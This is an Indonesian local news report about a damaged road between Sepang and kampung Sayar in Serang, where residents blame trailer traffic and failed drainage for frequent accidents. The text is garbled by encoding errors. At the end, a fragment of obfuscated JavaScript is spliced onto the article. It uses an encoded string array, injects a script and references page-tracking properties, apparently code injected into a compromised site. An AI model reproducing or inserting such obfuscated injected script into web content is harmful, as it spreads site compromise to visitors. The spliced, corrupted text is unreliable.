Serang – Jalan rayaA� Sepang sampaiA� kampung Sayar terlihat rusak parah sehingga wargapun mengeluh karena dangan keadaan jalan yang rusak tersebut menghambat aktifitas warga sekitar yang melewatinya. Jalan yang panjangnya 2 kilo meter itu sudah lama rusak sehingga dikeluhkan warga.
Poltak yang merupakan warga sepang mengtakan, bahwa Penyebab rusaknya jalan tersebut dikarenakan sering lewatnya mobil trailer yang biasa mengangkut barang-barang berat dari pabrik yang ada di daerah tersebut dan juga disebabkan gak berpungsinya drainase yang ada disepanjang jalan tersebut, sehingga jalanpun banyak yang berlubang dan kalau musim hujan A�tergenang air. Katanya Senin 25/7/2016.
Poltak A�A�menambhkan, A�bahwa disepanjang jalan itu hampir tiap hari terjadi kecelakaan, karena kalau musim hujan lubang-lubang yang ada dijalan itu tidak terlihat karena adanya genangan A�air, sehingga kecelakaanpun tak bisa dihindari. a�?Hampir tiap hari mas terjadi kecelakaan dijalan ini dan kobannyapun sudah banyak bahkan wargapun sampai nanam pisang dijalan yang berlubang itu karna saking kesel dengan keadaan jalan.a�? Ungkapnya.
Carolin warga komplek safiraA� juga mengatakan bahwa A�jalan itu sempat diperbaiki yaitu padaA� 2015 ahir, itupun Cuma tambal sulam, sehingga dengan keadaan jalan yang rusak, dari safira sampai ciracas itu harus memakan waktu 15 menit. Ungkapnya.
Carolinpun menambhkan bahwa sempat ada informasi dibulan mei bahwa ada stagmen dari pemerintah bahwa bulan juni itu menjanjikan akan diperbaiki tetapi baru proses lelang.
Warga berharap agar jalan tersebut segera diperbaiki tetapi tidak hanya tambal, warga pengen yang lebih baik yaitu dengan dihotmik atau dibeton. a�?kami sih berharap perbaikannya tidak tambal sulam tapi dihotmik atau dibeton biar kuat dan gak cepet rusaka�?. Ujarnya. cument[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}
